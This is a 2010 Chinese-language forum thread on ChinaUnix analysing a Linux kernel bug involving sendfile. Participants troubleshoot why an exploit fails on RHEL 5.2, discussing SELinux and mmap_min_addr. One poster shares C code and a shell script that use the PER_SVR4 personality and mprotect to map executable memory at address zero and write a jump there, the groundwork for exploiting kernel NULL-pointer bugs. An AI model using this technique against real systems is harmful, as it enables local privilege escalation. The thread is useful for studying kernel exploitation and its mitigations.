免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
楼主: kouu

剖析一个由sendfile引发的linux内核BUG [复制链接]

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
发表于 2010-01-16 21:47 |显示全部楼层
原帖由 W.Z.T 于 2010-1-16 20:36 发表


标准内核是在2.6.26以后才被加进selinux里, redhat的系统不是标准内核, 估计他们打了相关的补丁。

哦,那就是了。我测试的三个RHEL环境中,有一个用的是安装的系统自带的内核,应该是RH打过补丁的。另外两个都是我自己编译的2.6.18.3的内核。就算开启了SElinux,应该也不会有这个变量。

论坛徽章:
5
摩羯座
日期:2014-07-22 09:03:552015元宵节徽章
日期:2015-03-06 15:50:392015亚冠之大阪钢巴
日期:2015-06-12 16:01:352015年中国系统架构师大会
日期:2015-06-29 16:11:2815-16赛季CBA联赛之四川
日期:2018-12-17 14:10:21
发表于 2010-01-16 22:00 |显示全部楼层
原帖由 Godbach 于 2010-1-16 21:42 发表


对,默认安装和启动了SElinux,后来关闭的。

不过感觉我的几个环境有点区别,都是RHEL5.2,开始装的是都应该启动了SElinux,但是两个测试环境中都没有了mmap_min_addr文件

看看config文件里面是不是带了CONFIG_DEFAULT_MMAP_MIN_ADDR

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
发表于 2010-01-16 22:15 |显示全部楼层
你安装的系统是默认安装和启动了selinux吧, 安装selinux就会在/proc目录下有mmap_min_addr文件。 关闭selinux之后这个还是应该存在的吧, 只是失效了而已。

WZT兄,我在我的测试环境中,默认用了RHEL5.2的内核,禁用了Selinux之后,重启系统,mmap_min_addr文件还存在,可以如你说的应该失效了。
执行getenforce得到的结果也是:Disabled。

然后执行exp的程序,就是那个run.sh,出错信息和我之前贴出的一样:
mprotect: Cannot allocated memory


也就是mprotect这个函数没有执行成功。

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
发表于 2010-01-16 22:43 |显示全部楼层
原帖由 T-Bagwell 于 2010-1-16 22:00 发表

看看config文件里面是不是带了CONFIG_DEFAULT_MMAP_MIN_ADDR


没有带这个

论坛徽章:
5
摩羯座
日期:2014-07-22 09:03:552015元宵节徽章
日期:2015-03-06 15:50:392015亚冠之大阪钢巴
日期:2015-06-12 16:01:352015年中国系统架构师大会
日期:2015-06-29 16:11:2815-16赛季CBA联赛之四川
日期:2018-12-17 14:10:21
发表于 2010-01-16 23:06 |显示全部楼层

  1. 222 config DEFAULT_MMAP_MIN_ADDR
  2. 223         int "Low address space to protect from user allocation"
  3. 224     depends on MMU
  4. 225         default 4096
  5. 226         help
  6. 227       This is the portion of low virtual memory which should be protected
  7. 228       from userspace allocation.  Keeping a user from writing to low pages
  8. 229       can help reduce the impact of kernel NULL pointer bugs.
  9. 230
  10. 231       For most ia64, ppc64 and x86 users with lots of address space
  11. 232       a value of 65536 is reasonable and should cause no problems.
  12. 233       On arm and other archs it should not be higher than 32768.
  13. 234       Programs which use vm86 functionality or have some need to map
  14. 235       this low address space will need CAP_SYS_RAWIO or disable this
  15. 236       protection by setting the value to 0.
  16. 237
  17. 238       This value can be changed after boot using the
  18. 239       /proc/sys/vm/mmap_min_addr tunable.

复制代码


会不会和这个有关系呢

论坛徽章:
0
发表于 2010-01-17 08:32 |显示全部楼层
原帖由 Godbach 于 2010-1-16 22:15 发表

WZT兄,我在我的测试环境中,默认用了RHEL5.2的内核,禁用了Selinux之后,重启系统,mmap_min_addr文件还存在,可以如你说的应该失效了。
执行getenforce得到的结果也是:Disabled。

然后执行exp的程序, ...


我这没有as5.2的内核, 你可以再在自己build的2.6.18.3系统上测试下exp程序, 如果成功了, 说明as5.2的系统打了什么补丁禁止mprotect的修改了。 我猜测的


BTW: 我在as5.4下都能修改成功。

mmap.c

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/personality.h>
  5. #include <sys/mman.h>
  6. #include <errno.h>

  7. void test_code(void)
  8. {
  9.         printf("We are mmapped in zero memory!\n");
  10. }

  11. int mmap_zero_memory(void)
  12. {
  13.         void *mem;


  14.         if ((personality(0xffffffff)) != PER_SVR4) {
  15.                 mem = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE| PROT_EXEC,
  16.                         MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  17.                 if (mem == MAP_FAILED || mem != NULL) {
  18.                         fprintf(stderr, "[+] Try fix mmap prot.\n");
  19.                         mem = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE,
  20.                                 MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  21.                         if (mem == MAP_FAILED || mem != NULL) {
  22.                                 fprintf(stderr,
  23.                                         "[-] Unable mmap to zero memory.\n");
  24.                                 return -1;
  25.                         }
  26.                 }
  27.                 if (mem == NULL) {
  28.                         fprintf(stderr, "[+] Mmap to zero memroy.\n");\
  29.                 }
  30.         }
  31.         else {
  32.                 if (mprotect(0x0, 0x10, PROT_READ | PROT_WRITE | PROT_EXEC)
  33.                         == -1) {
  34.                         perror("mprotect");
  35.                         fprintf(stderr, "[-] Unable mmap to zero memory.\n");
  36.                         return -1;
  37.                 }
  38.                 fprintf(stderr, "[+] Mprotect zero memroy success.\n");
  39.         }

  40.         *(char *)0 = '\x90';
  41.         *(char *)1 = '\xe9';
  42.         *(unsigned long *)2 = (unsigned long)&test_code - 6;

  43.         return 0;
  44. }

  45. int main(void)
  46. {
  47.         mmap_zero_memory();
  48. }
复制代码


run.c


  1. #include <sys/personality.h>
  2. #include <stdio.h>
  3. #include <unistd.h>

  4. int main(void) {
  5.         if (personality(PER_SVR4) < 0) {
  6.                 perror("personality");
  7.                 return -1;
  8.         }

  9.         fprintf(stderr, "set personality PER_SVR4 successful.\n");

  10.         execl("./mmap", "mmap", 0);
  11. }
复制代码


run.sh

  1. #!/bin/sh

  2. gcc -o run run.c && \
  3. gcc -o exploit exploit.c && \
  4. ./run
复制代码

[ 本帖最后由 W.Z.T 于 2010-1-17 11:36 编辑 ]

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
发表于 2010-01-17 11:23 |显示全部楼层
我这没有as5.2的内核, 你可以再在自己build的2.6.18.3系统上测试下exp程序, 如果成功了, 说明as5.2的系统打了什么补丁禁止mprotect的修改了。 我猜测的

多谢,应该是这个原因。我自己编译的内核版本用了2.6.18.3的,开不开启SElinux都可以exp的。

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
发表于 2010-01-17 11:24 |显示全部楼层
231       For most ia64, ppc64 and x86 users with lots of address space
232       a value of 65536 is reasonable and should cause no problems.

嗯,装完RHEL 5.2,这个值默认就是65536

论坛徽章:
0
发表于 2010-01-17 11:43 |显示全部楼层
原帖由 Godbach 于 2010-1-17 11:24 发表

嗯,装完RHEL 5.2,这个值默认就是65536


看我重新编辑过的帖子, 可以在 as5.4下修改0地址属性。 针对2.6.26以前的系统exploit有2个方案来映射0地址内存, 设置PER_SRV4后, 就可以用mrptect来修改0地址属性了, 因此跟selinux开不开都没啥关系了吧, 更跟mmap_min_addr这个东西有没有关系了吧。 另外 2.6.18的内核mrptect也是允许修改0地址属性的。


  1. asmlinkage long
  2. sys_mprotect(unsigned long start, size_t len, unsigned long prot)
  3. {
  4. ...
  5.         else {
  6.                 if (vma->vm_start > start)
  7.                         goto out;
复制代码

设置完PER_SRV4后, 内核在加载elf文件的时候, 自动把0地址的空间映射到用户进程上了, 所以start是0的话, 是可以满足条件的。

[ 本帖最后由 W.Z.T 于 2010-1-17 11:59 编辑 ]

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
发表于 2010-01-17 12:03 |显示全部楼层

回复 #49 W.Z.T 的帖子

多谢WZT兄的详细解释。这个应该印证了我用标准的2.6.18编译之后可以exp的原因。

另外,为什么那个程序还要分出来一个run.c呢。他也就是设置一下PER_SVR4。不可以合并到同一个文件里吗?
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP